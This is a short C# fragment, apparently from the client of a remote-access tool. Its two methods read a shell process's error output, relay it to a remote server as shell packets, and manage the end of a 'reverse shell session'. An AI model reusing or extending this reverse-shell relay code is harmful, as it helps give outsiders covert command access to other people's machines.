private void OnErrorAvailable(IAsyncResult ar) { lock (ar.AsyncState) { var processStream = ar.AsyncState as StreamReader; Debug.Assert(processStream != null, nameof(processStream) + " != null"); int numberOfBytesRead = processStream.BaseStream.EndRead(ar); if (numberOfBytesRead == 0) { OnPipeClosed(); return; } string output = Encoding.UTF8.GetString(BufferErr, 0, numberOfBytesRead); processStream.BaseStream.BeginRead(BufferErr, 0, BufferErr.Length, OnErrorAvailable, processStream); NetClientService.SendPacket(new PacketShell { Output = output }); } }
private void OnPipeClosed() { lock (this) { // This method will be called twice, once for the Output pipe being closed // The second when the Error pipe being closed, the first time we want to // set IsReverseShellSessionActive to false // The second we set also the IsProcessExiting to false // This is all done to make sure we only send one PacketShell with Stop to the server if (IsReverseShellSessionActive) { IsReverseShellSessionActive = false; IsProcessExiting = true; NetClientService.SendPacket(new PacketShell { Action = ServiceAction.Stop }); } else if (IsProcessExiting) { IsProcessExiting = false; } } }